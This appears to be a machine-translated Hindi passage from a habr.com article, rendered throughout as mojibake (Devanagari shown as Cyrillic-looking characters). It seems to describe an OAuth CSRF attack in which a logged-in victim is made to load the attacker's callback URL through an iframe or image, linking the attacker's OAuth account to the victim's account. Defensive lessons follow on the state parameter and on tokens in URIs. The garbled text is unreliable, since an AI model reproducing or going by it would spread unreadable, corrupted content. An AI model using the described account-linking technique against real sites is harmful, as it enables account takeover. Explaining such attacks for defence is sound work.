  1. рдЕрдм рдЖрдкрдХреЛ рдХреЗрд╡рд▓ рдЕрдкрдиреЗ рдХреЙрд▓рдмреИрдХ URL рдкрд░ HTTP рдЕрдиреБрд░реЛрдз рднреЗрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ (рдХреБрдЫ рдирд┐рд╢реНрдЪрд┐рдд рд▓рдХреНрд╖реНрдп рдпрд╛ рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рд╕рд╛рдЗрдЯ.рдХреЙрдо рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛) рдмрдирд╛рдирд╛ рд╣реИред рдЖрдк рдЙрд╕реЗ example.com/somepage.html рдкрд░ рдЬрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдмрд╛рдзреНрдп рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рдореЗрдВ iframe src = URL, рдЙрд╕рдХреА рджреАрд╡рд╛рд░ рдкрд░ img, рдЙрд╕реЗ рдПрдХ рдИрдореЗрд▓ / рдЯреНрд╡реАрдЯ, рдЬреЛ рднреА рд╣реЛ, рднреЗрдЬреЗрдВред рдЬрдм рд╡рд╣ рдЕрдиреБрд░реЛрдз рднреЗрдЬрддрд╛ рд╣реИ рддреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ site.com рдкрд░ рд▓реЙрдЧ рдЗрди рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред
    рдЕрдЪреНрдЫрд╛ рдХрд┐рдпрд╛, рдЖрдкрдХрд╛ oauth рдЦрд╛рддрд╛ рд╕рд╛рдЗрдЯ.рдХреЙрдо рдкрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдЦрд╛рддреЗ рд╕реЗ рдЬреБрдбрд╝рд╛ рд╣реБрдЖ рд╣реИред


  2. рд╡реЛрдЗрд▓рд╛, рдЙрд╕ OAuth рдкреНрд░рджрд╛рддрд╛ рдХреЗ рд╕рд╛рде рд▓реЙрдЧ рдЗрди рджрдмрд╛рдПрдВ - рдЖрдк рд╕реАрдзреЗ рд╕рд╛рдЗрдЯ.рдХреЙрдо рдкрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдЦрд╛рддреЗ рдореЗрдВ рд▓реЙрдЧ рдЗрди рд╣реИрдВ



рд╕рдмрдХ рд╕реАрдЦрд╛:


рдХреНрд▓рд╛рдЗрдВрдЯ рдХреЛ рдЕрдкрдиреЗ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рди URI рдХреЗ рд▓рд┐рдП CSRF рд╕реБрд░рдХреНрд╖рд╛ рд▓рд╛рдЧреВ рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред рдпрд╣ рдЖрдо рддреМрд░ рдкрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛-рдПрдЬреЗрдВрдЯ рдХреЗ рдкреНрд░рдорд╛рдгрд┐рдд рд░рд╛рдЬреНрдп рдХреЗ рд▓рд┐рдП рдЕрдиреБрд░реЛрдз рдХреЛ рдмрд╛рдВрдзрдиреЗ рд╡рд╛рд▓реЗ рдорд╛рди рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рди URI рд╕рдорд╛рдкрди рдмрд┐рдВрджреБ рдкрд░ рднреЗрдЬреЗ рдЧрдП рдХрд┐рд╕реА рднреА рдЕрдиреБрд░реЛрдз рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреЗ рджреНрд╡рд╛рд░рд╛ рдкреВрд░рд╛ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рд╕рддреНрд░ рдХреБрдХреА рдХрд╛ рдПрдХ рд╣реИрд╢ рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛-рдПрдЬреЗрдВрдЯ рдХреЛ рдкреНрд░рдорд╛рдгрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ)ред рдХреНрд▓рд╛рдЗрдВрдЯ SHOULD рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдорд╛рди рдмрдирд╛рддреЗ рд╕рдордп "рдорд╛рди" рдЕрдиреБрд░реЛрдз рдкреИрд░рд╛рдореАрдЯрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рд╕рд░реНрд╡рд░ рдкрд░ рдЗрд╕ рдореВрд▓реНрдп рдХреЛ рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░рддрд╛ рд╣реИред


рдПрдХ рдмрд╛рд░ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдХреЛ рдЕрдВрддрд┐рдо-рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕реЗ рдкреНрд░рд╛рдкреНрдд рд╣реЛ рдЬрд╛рдиреЗ рдХреЗ рдмрд╛рдж, рдкреНрд░рд╛рдзрд┐рдХрд░рдг рд╕рд░реНрд╡рд░ "рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛" рдПрдЬреЗрдВрдЯ рдХреЛ "рд░рд╛рдЬреНрдп" рдкреИрд░рд╛рдореАрдЯрд░ рдореЗрдВ рдирд┐рд╣рд┐рдд рдЖрд╡рд╢реНрдпрдХ рдмрд╛рдзреНрдпрдХрд╛рд░реА рдорд╛рди рдХреЗ рд╕рд╛рде рдЧреНрд░рд╛рд╣рдХ рдХреЛ рд╡рд╛рдкрд╕ рднреЗрдЬ рджреЗрддрд╛ рд╣реИред рдмрд╛рдЗрдВрдбрд┐рдВрдЧ рдорд╛рди рдХреНрд▓рд╛рдЗрдВрдЯ рдХреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛-рдПрдЬреЗрдВрдЯ рдХреЗ рдкреНрд░рдорд╛рдгрд┐рдд рд╕реНрдерд┐рддрд┐ рдореЗрдВ рдмрд╛рдЗрдВрдбрд┐рдВрдЧ рдорд╛рди рдХрд╛ рдорд┐рд▓рд╛рди рдХрд░рдХреЗ рдЕрдиреБрд░реЛрдз рдХреА рд╡реИрдзрддрд╛ рдХреЛ рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдмрдирд╛рддрд╛ рд╣реИред CSRF рд╕реБрд░рдХреНрд╖рд╛ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рдиреЗ рд╡рд╛рд▓реА рдмрд╛рдЗрдВрдбрд┐рдВрдЧ рд╡реИрд▓реНрдпреВ рдореЗрдВ рдПрдХ рдЧреИрд░-рдЕрдиреБрдорд╛рдирд┐рдд рдореВрд▓реНрдп рд╣реЛрддрд╛ рд╣реИ, рдФрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛-рдПрдЬреЗрдВрдЯ рдХреА рдкреНрд░рдорд╛рдгреАрдХреГрдд рд╕реНрдерд┐рддрд┐ (рдИрдЬреАрд╕реАрдЬрд╝ рдХреБрдХреА, рдПрдЪрдЯреАрдПрдордПрд▓ 5 рд╕реНрдерд╛рдиреАрдп рднрдВрдбрд╛рд░рдг) рдХреЛ рдХреЗрд╡рд▓ рдЧреНрд░рд╛рд╣рдХ рдФрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛-рдПрдЬреЗрдВрдЯ (рдпрд╛рдиреА, рд╕рдВрд░рдХреНрд╖рд┐рдд) рдХреЗ рд▓рд┐рдП рд╕реБрд▓рдн рд╕реНрдерд╛рди рдкрд░ рд░рдЦрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред рдПрдХ рд╣реА рдореВрд▓ рдиреАрддрд┐ рджреНрд╡рд╛рд░рд╛)ред


рдСрдереЛрд░рд╛рдЗрдЬреЗрд╢рди рд╕рд░реНрд╡рд░ рдХреЗ рдСрдерд░рд╛рдЗрдЬреЗрд╢рди рдПрдВрдбрдкреЙрдЗрдВрдЯ рдХреЗ рдЦрд┐рд▓рд╛рдл CSRF рдЕрдЯреИрдХ рдХрд╛ рдирддреАрдЬрд╛ рдпрд╣ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рдПрдВрдб-рдпреВрдЬрд░ рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд┐рдП рдпрд╛ рдЕрд▓рд░реНрдЯ рдХрд┐рдП рдмрд┐рдирд╛ рдХрд┐рд╕реА рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдХреНрд▓рд╛рдЗрдВрдЯ рдХреЗ рд▓рд┐рдП рдПрдВрдб-рдпреВрдЬрд╝рд░ рдСрдерд░рд╛рдЗрдЬреЗрд╢рди рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред


рдкреНрд░рд╛рдзрд┐рдХрд░рдг рд╕рд░реНрд╡рд░ рдХреЛ рдЕрдкрдиреЗ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рд╕рдорд╛рдкрди рдмрд┐рдВрджреБ рдХреЗ рд▓рд┐рдП CSRF рд╕реБрд░рдХреНрд╖рд╛ рд▓рд╛рдЧреВ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП, рдФрд░ рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП рдХрд┐ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдЧреНрд░рд╛рд╣рдХ рд╕рдВрд╕рд╛рдзрди рд╕реНрд╡рд╛рдореА рдХреА рдЬрд╛рдЧрд░реВрдХрддрд╛ рдФрд░ рд╕реНрдкрд╖реНрдЯ рд╕рд╣рдорддрд┐ рдХреЗ рдмрд┐рдирд╛ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдкреНрд░рд╛рдкреНрдд рдирд╣реАрдВ рдХрд░ рд╕рдХрддрд╛ рд╣реИред


рдпреВрдЖрд░рдЖрдИ рдХрд╛ рдЯреЛрдХрди рд╣рд┐рд╕реНрд╕рд╛



рдпреВрдЖрд░рдЖрдИ рдкрджреНрдзрддрд┐ рд╕реЗ рдЬреБрдбрд╝реА рд╕реБрд░рдХреНрд╖рд╛ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рдХрд╛рд░рдг, рдЙрдЪреНрдЪ рд╕рдВрднрд╛рд╡рдирд╛ рд╕рд╣рд┐рдд рдХрд┐ рдПрдХреНрд╕реЗрд╕ рдЯреЛрдХрди рд╡рд╛рд▓реЗ URL рдХреЛ рд▓реЙрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛, рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рддрдм рддрдХ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдЬрдм рддрдХ рдХрд┐ "рдкреНрд░рд╛рдзрд┐рдХрд░рдг" рдЕрдиреБрд░реЛрдз рдлрд╝реАрд▓реНрдб рдпрд╛ рдореЗрдВ рдПрдХреНрд╕реЗрд╕ рдЯреЛрдХрди рдХреЛ рдЯреНрд░рд╛рдВрд╕рдкреЛрд░реНрдЯ рдХрд░рдирд╛ рдЕрд╕рдВрднрд╡ рди рд╣реЛ HTTP рдЕрдиреБрд░реЛрдз рдирд┐рдХрд╛рдп-рдирд┐рдХрд╛рдпред рд╕рдВрд╕рд╛рдзрди рд╕рд░реНрд╡рд░ рдЗрд╕ рд╡рд┐рдзрд┐ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред


Source: https://habr.com/ru/post/hi449182/


All Articles